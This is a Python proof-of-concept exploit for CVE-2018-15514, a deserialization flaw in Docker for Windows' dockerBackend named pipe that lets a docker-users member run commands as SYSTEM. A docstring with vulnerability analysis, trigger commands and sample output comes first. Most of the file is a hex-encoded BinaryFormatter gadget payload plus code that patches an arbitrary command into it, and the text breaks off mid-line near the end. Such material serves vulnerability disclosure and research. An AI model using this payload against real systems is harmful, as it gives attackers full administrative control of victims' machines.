""" Docker dockerBackend HandleRequestAsync Deserialization of Untrusted Data Elevation of Privilege Vulnerability CVE: CVE-2018-15514 File: Docker for Windows Installer.exe sha256sum: 133375d3cc27a6a2315b9c3a28107a21ec9a22aaf7a1e0c3be74b078706c63f3 Download: https://download.docker.com/win/stable/Docker%20for%20Windows%20Installer.exe Summary: ======== The "Docker for Windows Service" creates a NamedPipe called dockerBackend for IPC between the client and the server. A local, unprivileged attacker can use this to elevate privileges in the context of SYSTEM. Tested on: ========== - Windows 10 x64 r2 Version 10.0.16299.309 (latest at the time) - Docker for Windows v17.12.0-ce-win46 (latest at the time) Notes: ====== - This exploit used the ysoserial.net tool. I have provided a compiled version for you. - The command I used for ysoserial.net is: ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o raw -c "[CMD]" > poc.bin I also patched poc.bin so that we can just generate any commands and exec anything as SYSTEM without having to generate the payload again. - The SID for the docker-users group is: S-1-5-21-965929679-2026844499-2041157940-1005 Vulnerability Analysis: ======================= Looking at Docker.core.dll we can see that the vulnerability occurs in the NamedPipeServer class within the HandleRequestAsync function where it reads attacker controlled data into the requestBytes byte array. Then, using the data, it is parsed directly to BinaryFormatter.Deserialize(). namespace Docker.Core.Pipe { // Token: 0x02000042 RID: 66 public class NamedPipeServer { ... private async Task HandleRequestAsync(NamedPipeServerStream pipeServer) { try { using (NamedPipeServerStream server = pipeServer) { byte[] sizeBytes = new byte[4]; await server.ReadAsync(sizeBytes, 0, sizeBytes.Length); int size = BitConverter.ToInt32(sizeBytes, 0); byte[] requestBytes = new byte[size]; await server.ReadAsync(requestBytes, 0, requestBytes.Length); BinaryFormatter bf = new BinaryFormatter(); PipeRequest request = (PipeRequest)bf.Deserialize(new MemoryStream(requestBytes, 0, Upon seeing this, it was clear we could use the BinaryFormatter class for exploitation. Triggering: =========== As it turns out, the low privileged user needs to be a member of the docker-users group that is created when installing Docker for Windows. Please see perms.png for details. This is a common configuration, to just add your user to this group. See https://github.com/docker/for-win/issues/868#issuecomment-312639000 Here, I add my test user to the docker-users group and spawn a low privileged cmd prompt. c:\>net localgroup docker-users test /add The command completed successfully. c:\>runas /user:test cmd Enter the password for test: Attempting to start cmd as user "target\test" ... Now run the poc in the new window. Example: ======== c:\>cd c:\Users\test\docker-eop c:\Users\test\docker-eop>type c:\si.txt The system cannot find the file specified. c:\Users\test\docker-eop>poc.py (+) usage C:\Users\test\docker-eop\poc.py (+) eg: C:\Users\test\docker-eop\poc.py "whoami > c:\si.txt" c:\Users\test\docker-eop>poc.py "whoami > c:\si.txt" c:\Users\test\docker-eop>type c:\si.txt nt authority\system c:\Users\test\docker-eop> """ import sys import struct if len(sys.argv) != 2: print "(+) usage %s " % sys.argv[0] print "(+) eg: %s \"whoami > c:\\si.txt\"" % sys.argv[0] sys.exit(-1) cmd = "/c %s" % sys.argv[1] payload = "\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x0c\x02\x00" payload += "\x00\x00\x49\x53\x79\x73\x74\x65\x6d\x2c\x20\x56\x65\x72\x73\x69\x6f\x6e\x3d\x34" payload += "\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72\x65\x3d\x6e\x65\x75\x74" payload += "\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79\x54\x6f\x6b\x65\x6e\x3d" payload += "\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30\x38\x39\x05\x01\x00\x00" payload += "\x00\x84\x01\x53\x79\x73\x74\x65\x6d\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" payload += "\x73\x2e\x47\x65\x6e\x65\x72\x69\x63\x2e\x53\x6f\x72\x74\x65\x64\x53\x65\x74\x60" payload += "\x31\x5b\x5b\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20\x6d\x73" payload += "\x63\x6f\x72\x6c\x69\x62\x2c\x20\x56\x65\x72\x73\x69\x6f\x6e\x3d\x34\x2e\x30\x2e" payload += "\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72\x65\x3d\x6e\x65\x75\x74\x72\x61\x6c" payload += "\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79\x54\x6f\x6b\x65\x6e\x3d\x62\x37\x37" payload += "\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30\x38\x39\x5d\x5d\x04\x00\x00\x00\x05" payload += "\x43\x6f\x75\x6e\x74\x08\x43\x6f\x6d\x70\x61\x72\x65\x72\x07\x56\x65\x72\x73\x69" payload += "\x6f\x6e\x05\x49\x74\x65\x6d\x73\x00\x03\x00\x06\x08\x8d\x01\x53\x79\x73\x74\x65" payload += "\x6d\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x47\x65\x6e\x65\x72\x69" payload += "\x63\x2e\x43\x6f\x6d\x70\x61\x72\x69\x73\x6f\x6e\x43\x6f\x6d\x70\x61\x72\x65\x72" payload += "\x60\x31\x5b\x5b\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20\x6d" payload += "\x73\x63\x6f\x72\x6c\x69\x62\x2c\x20\x56\x65\x72\x73\x69\x6f\x6e\x3d\x34\x2e\x30" payload += "\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72\x65\x3d\x6e\x65\x75\x74\x72\x61" payload += "\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79\x54\x6f\x6b\x65\x6e\x3d\x62\x37" payload += "\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30\x38\x39\x5d\x5d\x08\x02\x00\x00" payload += "\x00\x02\x00\x00\x00\x09\x03\x00\x00\x00\x02\x00\x00\x00\x09\x04\x00\x00\x00\x04" payload += "\x03\x00\x00\x00\x8d\x01\x53\x79\x73\x74\x65\x6d\x2e\x43\x6f\x6c\x6c\x65\x63\x74" payload += "\x69\x6f\x6e\x73\x2e\x47\x65\x6e\x65\x72\x69\x63\x2e\x43\x6f\x6d\x70\x61\x72\x69" payload += "\x73\x6f\x6e\x43\x6f\x6d\x70\x61\x72\x65\x72\x60\x31\x5b\x5b\x53\x79\x73\x74\x65" payload += "\x6d\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20\x6d\x73\x63\x6f\x72\x6c\x69\x62\x2c\x20" payload += "\x56\x65\x72\x73\x69\x6f\x6e\x3d\x34\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c" payload += "\x74\x75\x72\x65\x3d\x6e\x65\x75\x74\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63" payload += "\x4b\x65\x79\x54\x6f\x6b\x65\x6e\x3d\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33" payload += "\x34\x65\x30\x38\x39\x5d\x5d\x01\x00\x00\x00\x0b\x5f\x63\x6f\x6d\x70\x61\x72\x69" payload += "\x73\x6f\x6e\x03\x22\x53\x79\x73\x74\x65\x6d\x2e\x44\x65\x6c\x65\x67\x61\x74\x65" payload += "\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f\x6c\x64\x65\x72\x09" payload += "\x05\x00\x00\x00\x11\x04\x00\x00\x00\x02\x00\x00\x00\x06\x06\x06\x07\x00\x00\x00" payload += "\x03\x63\x6d\x64\x04\x05\x00\x00\x00\x22\x53\x79\x73\x74\x65\x6d\x2e\x44\x65\x6c" payload += "\x65\x67\x61\x74\x65\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f" payload += "\x6c\x64\x65\x72\x03\x00\x00\x00\x08\x44\x65\x6c\x65\x67\x61\x74\x65\x07\x6d\x65" payload += "\x74\x68\x6f\x64\x30\x07\x6d\x65\x74\x68\x6f\x64\x31\x03\x03\x03\x30\x53\x79\x73" payload += "\x74\x65\x6d\x2e\x44\x65\x6c\x65\x67\x61\x74\x65\x53\x65\x72\x69\x61\x6c\x69\x7a" payload += "\x61\x74\x69\x6f\x6e\x48\x6f\x6c\x64\x65\x72\x2b\x44\x65\x6c\x65\x67\x61\x74\x65" payload += "\x45\x6e\x74\x72\x79\x2f\x53\x79\x73\x74\x65\x6d\x2e\x52\x65\x66\x6c\x65\x63\x74" payload += "\x69\x6f\x6e\x2e\x4d\x65\x6d\x62\x65\x72\x49\x6e\x66\x6f\x53\x65\x72\x69\x61\x6c" payload += "\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f\x6c\x64\x65\x72\x2f\x53\x79\x73\x74\x65\x6d" payload += "\x2e\x52\x65\x66\x6c\x65\x63\x74\x69\x6f\x6e\x2e\x4d\x65\x6d\x62\x65\x72\x49\x6e" payload += "\x66\x6f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f\x6c\x64\x65" payload += "\x72\x09\x08\x00\x00\x00\x09\x09\x00\x00\x00\x09\x0a\x00\x00\x00\x04\x08\x00\x00" payload += "\x00\x30\x53\x79\x73\x74\x65\x6d\x2e\x44\x65\x6c\x65\x67\x61\x74\x65\x53\x65\x72" payload += "\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f\x6c\x64\x65\x72\x2b\x44\x65\x6c" payload += "\x65\x67\x61\x74\x65\x45\x6e\x74\x72\x79\x07\x00\x00\x00\x04\x74\x79\x70\x65\x08" payload += "\x61\x73\x73\x65\x6d\x62\x6c\x79\x06\x74\x61\x72\x67\x65\x74\x12\x74\x61\x72\x67" payload += "\x65\x74\x54\x79\x70\x65\x41\x73\x73\x65\x6d\x62\x6c\x79\x0e\x74\x61\x72\x67\x65" payload += "\x74\x54\x79\x70\x65\x4e\x61\x6d\x65\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65" payload += "\x0d\x64\x65\x6c\x65\x67\x61\x74\x65\x45\x6e\x74\x72\x79\x01\x01\x02\x01\x01\x01" payload += "\x03\x30\x53\x79\x73\x74\x65\x6d\x2e\x44\x65\x6c\x65\x67\x61\x74\x65\x53\x65\x72" payload += "\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f\x6c\x64\x65\x72\x2b\x44\x65\x6c" payload += "\x65\x67\x61\x74\x65\x45\x6e\x74\x72\x79\x06\x0b\x00\x00\x00\xb0\x02\x53\x79\x73" payload += "\x74\x65\x6d\x2e\x46\x75\x6e\x63\x60\x33\x5b\x5b\x53\x79\x73\x74\x65\x6d\x2e\x53" payload += "\x74\x72\x69\x6e\x67\x2c\x20\x6d\x73\x63\x6f\x72\x6c\x69\x62\x2c\x20\x56\x65\x72" payload += "\x73\x69\x6f\x6e\x3d\x34\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72" payload += "\x65\x3d\x6e\x65\x75\x74\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79" payload += "\x54\x6f\x6b\x65\x6e\x3d\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30" payload += "\x38\x39\x5d\x2c\x5b\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20" payload += "\x6d\x73\x63\x6f\x72\x6c\x69\x62\x2c\x20\x56\x65\x72\x73\x69\x6f\x6e\x3d\x34\x2e" payload += "\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72\x65\x3d\x6e\x65\x75\x74\x72" payload += "\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79\x54\x6f\x6b\x65\x6e\x3d\x62" payload += "\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30\x38\x39\x5d\x2c\x5b\x53\x79" payload += "\x73\x74\x65\x6d\x2e\x44\x69\x61\x67\x6e\x6f\x73\x74\x69\x63\x73\x2e\x50\x72\x6f" payload += "\x63\x65\x73\x73\x2c\x20\x53\x79\x73\x74\x65\x6d\x2c\x20\x56\x65\x72\x73\x69\x6f" payload += "\x6e\x3d\x34\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72\x65\x3d\x6e" payload += "\x65\x75\x74\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79\x54\x6f\x6b" payload += "\x65\x6e\x3d\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30\x38\x39\x5d" payload += "\x5d\x06\x0c\x00\x00\x00\x4b\x6d\x73\x63\x6f\x72\x6c\x69\x62\x2c\x20\x56\x65\x72" payload += "\x73\x69\x6f\x6e\x3d\x34\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72" payload += "\x65\x3d\x6e\x65\x75\x74\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79" payload += "\x54\x6f\x6b\x65\x6e\x3d\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30" payload += "\x38\x39\x0a\x06\x0d\x00\x00\x00\x49\x53\x79\x73\x74\x65\x6d\x2c\x20\x56\x65\x72" payload += "\x73\x69\x6f\x6e\x3d\x34\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72" payload += "\x65\x3d\x6e\x65\x75\x74\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79" payload += "\x54\x6f\x6b\x65\x6e\x3d\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30" payload += "\x38\x39\x06\x0e\x00\x00\x00\x1a\x53\x79\x73\x74\x65\x6d\x2e\x44\x69\x61\x67\x6e" payload += "\x6f\x73\x74\x69\x63\x73\x2e\x50\x72\x6f\x63\x65\x73\x73\x06\x0f\x00\x00\x00\x05" payload += "\x53\x74\x61\x72\x74\x09\x10\x00\x00\x00\x04\x09\x00\x00\x00\x2f\x53\x79\x73\x74" payload += "\x65\x6d\x2e\x52\x65\x66\x6c\x65\x63\x74\x69\x6f\x6e\x2e\x4d\x65\x6d\x62\x65\x72" payload += "\x49\x6e\x66\x6f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f\x6c" payload += "\x64\x65\x72\x07\x00\x00\x00\x04\x4e\x61\x6d\x65\x0c\x41\x73\x73\x65\x6d\x62\x6c" payload += "\x79\x4e\x61\x6d\x65\x09\x43\x6c\x61\x73\x73\x4e\x61\x6d\x65\x09\x53\x69\x67\x6e" payload += "\x61\x74\x75\x72\x65\x0a\x53\x69\x67\x6e\x61\x74\x75\x72\x65\x32\x0a\x4d\x65\x6d" payload += "\x62\x65\x72\x54\x79\x70\x65\x10\x47\x65\x6e\x65\x72\x69\x63\x41\x72\x67\x75\x6d" payload += "\x65\x6e\x74\x73\x01\x01\x01\x01\x01\x00\x03\x08\x0d\x53\x79\x73\x74\x65\x6d\x2e" payload += "\x54\x79\x70\x65\x5b\x5d\x09\x0f\x00\x00\x00\x09\x0d\x00\x00\x00\x09\x0e\x00\x00" payload += "\x00\x06\x14\x00\x00\x00\x3e\x53\x79\x73\x74\x65\x6d\x2e\x44\x69\x61\x67\x6e\x6f" payload += "\x73\x74\x69\x63\x73\x2e\x50\x72\x6f\x63\x65\x73\x73\x20\x53\x74\x61\x72\x74\x28" payload += "\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20\x53\x79\x73\x74\x65" payload += "\x6d\x2e\x53\x74\x72\x69\x6e\x67\x29\x06\x15\x00\x00\x00\x3e\x53\x79\x73\x74\x65" payload += "\x6d\x2e\x44\x69\x61\x67\x6e\x6f\x73\x74\x69\x63\x73\x2e\x50\x72\x6f\x63\x65\x73" payload += "\x73\x20\x53\x74\x61\x72\x74\x28\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e" payload += "\x67\x2c\x20\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x29\x08\x00\x00" payload += "\x00\x0a\x01\x0a\x00\x00\x00\x09\x00\x00\x00\x06\x16\x00\x00\x00\x07\x43\x6f\x6d" payload += "\x70\x61\x72\x65\x09\x0c\x00\x00\x00\x06\x18\x00\x00\x00\x0d\x53\x79\x73\x74\x65" payload += "\x6d\x2e\x53\x74\x72\x69\x6e\x67\x06\x19\x00\x00\x00\x2b\x49\x6e\x74\x33\x32\x20" payload += "\x43\x6f\x6d\x70\x61\x72\x65\x28\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e" payload += "\x67\x2c\x20\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x29\x06\x1a\x00" payload += "\x00\x00\x32\x53\x79\x73\x74\x65\x6d\x2e\x49\x6e\x74\x33\x32\x20\x43\x6f\x6d\x70" payload += "\x61\x72\x65\x28\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20\x53" payload += "\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x29\x08\x00\x00\x00\x0a\x01\x10" payload += "\x00\x00\x00\x08\x00\x00\x00\x06\x1b\x00\x00\x00\x71\x53\x79\x73\x74\x65\x6d\x2e" payload += "\x43\x6f\x6d\x70\x61\x72\x69\x73\x6f\x6e\x60\x31\x5b\x5b\x53\x79\x73\x74\x65\x6d" payload += "\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20\x6d\x73\x63\x6f\x72\x6c\x69\x62\x2c\x20\x56" payload += "\x65\x72\x73\x69\x6f\x6e\x3d\x34\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74" payload += "\x75\x72\x65\x3d\x6e\x65\x75\x74\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b" payload += "\x65\x79\x54\x6f\x6b\x65\x6e\x3d\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34" payload += "\x65\x30\x38\x39\x5d\x5d\x09\x0c\x00\x00\x00\x0a\x09\x0c\x00\x00\x00\x09\x18\x00" payload += "\x00\x00\x09\x16\x00\x00\x00\x0a\x0b" # now we patch our payload data = bytearray(payload) # patch the size data[655:655] = struct.pack(">I", len(cmd)) # patch the cmd data[659:659] = cmd # get the size to send size = struct.pack("